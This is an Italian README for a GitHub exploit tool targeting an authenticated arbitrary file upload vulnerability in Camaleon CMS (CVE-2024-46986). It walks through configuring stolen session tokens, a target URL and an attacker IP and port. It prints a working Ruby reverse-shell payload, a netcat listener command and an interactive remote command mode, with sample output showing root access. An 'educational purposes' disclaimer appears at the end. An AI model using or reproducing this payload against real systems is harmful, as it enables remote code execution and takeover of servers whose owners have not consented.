
Exploit Python automatizzato per la vulnerabilità di upload arbitrario di file in Camaleon CMS (CVE-2024-46986). Supporta payload di reverse shell ed esecuzione di comandi per l'esecuzione remota di codice autenticata.
Questo repository contiene uno script Python che automatizza lo sfruttamento di una vulnerabilità di upload file in Camaleon CMS. La vulnerabilità consente a un attaccante di caricare file arbitrari (come script Ruby) sul server, potenzialmente portando all'esecuzione remota di codice (RCE) o ad altri gravi impatti sulla sicurezza.
requests di Python.Credenziali Utente Valide: È necessaria una sessione autenticata affinché l'exploit funzioni. Servono auth_token e _cms_session di un utente valido.
Python 3.x: Assicurati di avere Python 3.x installato.
Libreria requests di Python: Installa la libreria requests se non già presente.
pip install requests
Clona il repository:
git clone https://github.com/vidura2/CVE-2024-46986.git
cd CVE-2024-46986
Modifica lo script:
your_auth_token_here, your_session_token_here e https://target_site_here nello script Python con valori reali.your_ip e your_port con il tuo indirizzo IP e la porta su cui configurerai un listener.Scegli il tipo di payload:
payload_type nello script su "reverse_shell".payload_type su "command_execution". Potrai inserire ripetutamente comandi da eseguire sul server target.Esegui l'exploit:
python exploit_camaleon.py
Se usi il payload di esecuzione comandi, puoi inserire più comandi:
Inserisci un comando di sistema da eseguire (o digita 'exit' per uscire): whoami
Inserisci un comando di sistema da eseguire (o digita 'exit' per uscire): ls
Inserisci un comando di sistema da eseguire (o digita 'exit' per uscire): exit
Il payload reverse shell si collega di ritorno alla macchina dell'attaccante, consentendo l'esecuzione remota di codice sul server.
Modifica l'IP e la porta nello script Ruby all'interno del codice Python.
Esempio di payload:
require 'socket'
s = TCPSocket.open('your_ip', your_port)
while (cmd = s.gets)
IO.popen(cmd, 'r') do |io|
s.print io.read
end
end
Configura un listener sulla tua macchina usando netcat:
nc -lvnp <your_port>
Questo payload carica uno script Ruby che esegue comandi di sistema (ad esempio whoami) sul server. Puoi inserire ripetutamente comandi durante l'esecuzione.
Lo script continuerà a chiedere comandi fino a quando non digiti exit.
Esempio:
system("whoami")
Una volta eseguito con successo l'exploit, dovresti vedere un output nel terminale che indica il successo:
Exploit eseguito con successo con tipo di payload: reverse_shell!
Se usi la reverse shell, il listener netcat dovrebbe darti accesso al terminale del server compromesso.
Per il payload di esecuzione comandi:
Inserisci un comando di sistema da eseguire (o digita 'exit' per uscire): whoami
Comando 'whoami' eseguito con successo!
Risposta: root
Questo script è destinato esclusivamente a scopi educativi. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo exploit. Assicurati sempre di avere il permesso prima di testare o sfruttare vulnerabilità.
Sentiti libero di inviare issue o pull request per miglioramenti o funzionalità aggiuntive!
Questo progetto è concesso in licenza MIT - vedi il file LICENSE per i dettagli.